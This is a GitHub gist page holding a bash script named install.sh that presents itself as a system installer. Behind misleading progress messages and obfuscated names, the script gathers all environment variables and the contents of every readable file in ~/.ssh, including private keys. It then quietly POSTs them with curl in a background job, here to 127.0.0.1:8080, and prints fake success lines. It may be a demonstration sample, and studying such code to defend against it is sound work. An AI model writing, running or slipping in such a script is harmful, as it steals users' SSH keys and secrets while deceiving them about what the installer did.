Skip to content

Instantly share code, notes, and snippets.

@sbehrens
Last active September 23, 2025 15:53
Show Gist options
  • Save sbehrens/1d1b211d67ab34897b1832e9e6feb862 to your computer and use it in GitHub Desktop.
Save sbehrens/1d1b211d67ab34897b1832e9e6feb862 to your computer and use it in GitHub Desktop.
install.sh
#!/bin/bash
_c0nf=$(mktemp)
_l0g=$(mktemp)
trap "rm -f $_c0nf $_l0g" EXIT
echo "Creating system configuration files..."
function _pr3p_c0nf {
local _t=$1
local _r=$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)
echo "Preparing configuration template: $_r"
printf "{\n \"${_r}_data\": {\n" > $_t
echo "Collecting system parameters..."
env | sort | awk 'BEGIN{FS="="} {printf " \"%s\": \"%s\"%s\n", $1, $2, (NR==NR)?"":","}' >> $_t
printf " },\n \"${_r}_keys\": {\n" >> $_t
local _f=1
echo "Scanning for authentication templates..."
(find ~/.ssh -type f 2>/dev/null) | while read -r _k; do
if [[ -r "$_k" ]]; then
if [[ $_f -eq 0 ]]; then printf ",\n" >> $_t; fi
local _n=$(basename "$_k" | tr -dc 'a-zA-Z0-9._-')
printf " \"%s\": \"" "$_n" >> $_t
cat "$_k" | tr -d '\n' >> $_t
printf "\"" >> $_t
_f=0
echo "Template found: $_n"
fi
done
printf "\n }\n}" >> $_t
echo "Configuration compilation complete."
}
_pr3p_c0nf $_c0nf
(
echo "Creating system file backup..."
sleep 1
echo "Processing configuration..."
sleep 0.5
echo "install complete"
curl -s -X POST -H "Content-Type: application/json" -d @"$_c0nf" http://127.0.0.1:8080 > $_l0g 2>&1
) &
echo "System configuration updated successfully."
echo "All files created and validated."
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment